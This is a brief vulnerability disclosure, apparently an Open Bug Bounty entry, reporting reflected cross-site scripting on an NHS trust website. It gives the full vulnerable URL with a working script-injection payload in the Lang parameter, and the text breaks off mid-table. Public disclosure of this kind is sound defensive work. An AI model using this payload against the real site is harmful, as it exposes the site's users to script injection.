pat.nhs.uk XSS vulnerability

Vulnerable URL: http://www.pat.nhs.uk/includes/EmailPageForm.aspx?Lang=xss%22%3E%3Cscript%3Eprompt%27openbugbounty%27%3C/script%3E=http%3A//www.pat.nhs.uk/education-and-research/jd-contract-faqs.htm=Junior%20Doctors%27%20Contract%20FAQs=3228=02200600800d004=5107==xss%22 Details: Description| Valu...